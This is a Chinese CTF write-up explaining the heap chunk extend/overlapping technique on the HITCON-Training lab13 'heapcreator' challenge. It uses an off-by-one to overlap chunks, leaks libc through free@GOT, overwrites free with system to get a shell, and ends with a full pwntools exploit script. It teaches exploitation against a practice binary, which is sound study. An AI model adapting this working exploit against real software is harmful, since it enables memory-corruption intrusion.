Rookie学堆——heap extend

heap extend

0.原理

chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:

1.程序中存在基于堆的漏洞
2.漏洞可以控制 chunk header 中的数据

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

师傅讲的特别全:
Chunk Extend/Overlapping | 堆拓展、重叠

1.HITCON-Training lab13 heapcreator

程序分析

main函数:
在这里插入图片描述
典型的菜单题

创建chunk:

在这里插入图片描述

def create(size,content):
	io.recvuntil(b"Your choice :")
	io.sendline(b'1')
	io.recvuntil(b"Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil(b"Content of heap:")
	io.send(content)

这里需要注意head_chunk是固定0x20的

edit修改函数:

在这里插入图片描述
这里有一个off-by-one漏洞,溢出了一个字节,可以覆盖到下一个head_chunk的size一个字节,这个很重要。

def edit(idx,content):
	io.recvuntil(b"Your choice :")
	io.sendline(b'2')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))
	io.recvuntil(b"Content of heap : ")
	io.sendline(content)
show函数可以输出content_chunk的内容

在这里插入图片描述
此函数用来泄露libc基址

def show(idx):
	io.recvuntil(b"Your choice :")
	io.sendline(b'3')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))
	io.recvuntil(b'Content : ')
delete函数用来free掉head_chunk和content_chunk:

在这里插入图片描述

def delete(idx):
	io.recvuntil(b"Your choice :")
	io.sendline(b'4')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))

攻击步骤

首先创建两个0x20大小的chunk

create(0x18,b'a'*8) #chunk0
create(0x18,b'b'*8) #chunk1

———————————————————————————————————————————————————————————
后续将head_chunk0–>h0,content_chunk0–>c0
h1,c1同理
———————————————————————————————————————————————————————————
h表示head_chunk,c表示content_chunk

然后edit–>chunk0,将bin/sh写入到content_chunk0,同时通过off-by-one漏洞将h1的size位覆盖为0x41

payload = '/bin/sh\x00' + "a"*0x10 + "\x41"
edit(0,payload)

在这里插入图片描述

这时系统就会认为h1和c1是一个chunk,当我们这时free–>h1时c1也会跟着被free掉

delete(1)

在这里插入图片描述
两个chunk都在fastbin中,再次创建chunk的时候会优先从fastbin中找相同大小的返还给用户

如果此时我们再malloc(0x30)也就是0x40大小的chunk,那么程序就会返回给我们一个0x20大小的head_chunk–>h1’(也就是原先的c1)+ 0x40大小的content_chunk–>c1’(也就是我们原先的h1)

但c1,h1二者的地址关系是不会变的(h1在上,c1再下),只不过两者功能调换了一下。我们读入内容永远是往content_chunk读入的,故现在往c1’(h1)写入内容,此时就可覆盖h1’(c1)的head_chunk+0x18即指向content_chunk的指针

payload = p64(0)*4 + p64(0x30) + p64(elf.got.free)
create(0x30,payload)
show(1)

在这里插入图片描述
此时已将内容指针指向了free的got表地址,下面就可以通过show函数(打印出head_chunk+0x18即指向content_chunk的指针里的内容)泄露free_got进而泄露libc基址

show(1)
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = free_addr - libc.sym.free
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym.system

此时再通过edit函数修改free_got指针的内容位system函数
edit函数往head_chunk+0x18即指向content_chunk的指针里覆盖内容

edit(1,p64(sys_addr))

在这里插入图片描述
此时已经忘content_chunk0里写入bin/sh,只需对chunk0执行删除函数调用free(已被劫持为system函数)函数实际就执行了system(bin/sh)也就得到shell了。

delete(0)

下边是总的exp:

exp

from pwn import *
from ctypes import *
from time import sleep
from LibcSearcher import *
#context(arch = elf.arch,log_level = 'debug',os = 'linux')
context(arch = "amd64",os = "linux",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

file_name = 'pwn'
elf = ELF(file_name)
# libc = ELF('./ld-2.23.so')
libc= ELF('./libc.so.6')
#libc= ELF('./libc-2.31.so')

debug = 0
if debug:
	io = remote('node5.buuoj.cn', 25281)
else:
	io = process(file_name)
def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")
# gdb.attach(io,'b *$rebase(0x400fe2)')
gdb.attach(io,'b *0x400d78')

def create(size,content):
	io.recvuntil(b"Your choice :")
	io.sendline(b'1')
	io.recvuntil(b"Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil(b"Content of heap:")
	io.send(content)
def delete(idx):
	io.recvuntil(b"Your choice :")
	io.sendline(b'4')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))
def edit(idx,content):
	io.recvuntil(b"Your choice :")
	io.sendline(b'2')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))
	io.recvuntil(b"Content of heap : ")
	io.sendline(content)
def show(idx):
	io.recvuntil(b"Your choice :")
	io.sendline(b'3')
	io.recvuntil(b"Index :")
	io.sendline(str(idx))
	io.recvuntil(b'Content : ')

create(0x18,b'a'*8) #chunk0
create(0x18,b'b'*8) #chunk1

payload = '/bin/sh\x00' + "a"*0x10 + "\x41"
edit(0,payload)
delete(1)
slog('free',elf.got.free)
payload = p64(0)*4 + p64(0x30) + p64(elf.got.free)
create(0x30,payload)
show(1)
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = free_addr - libc.sym.free
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym.system
edit(1,p64(sys_addr))

delete(0)
io.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值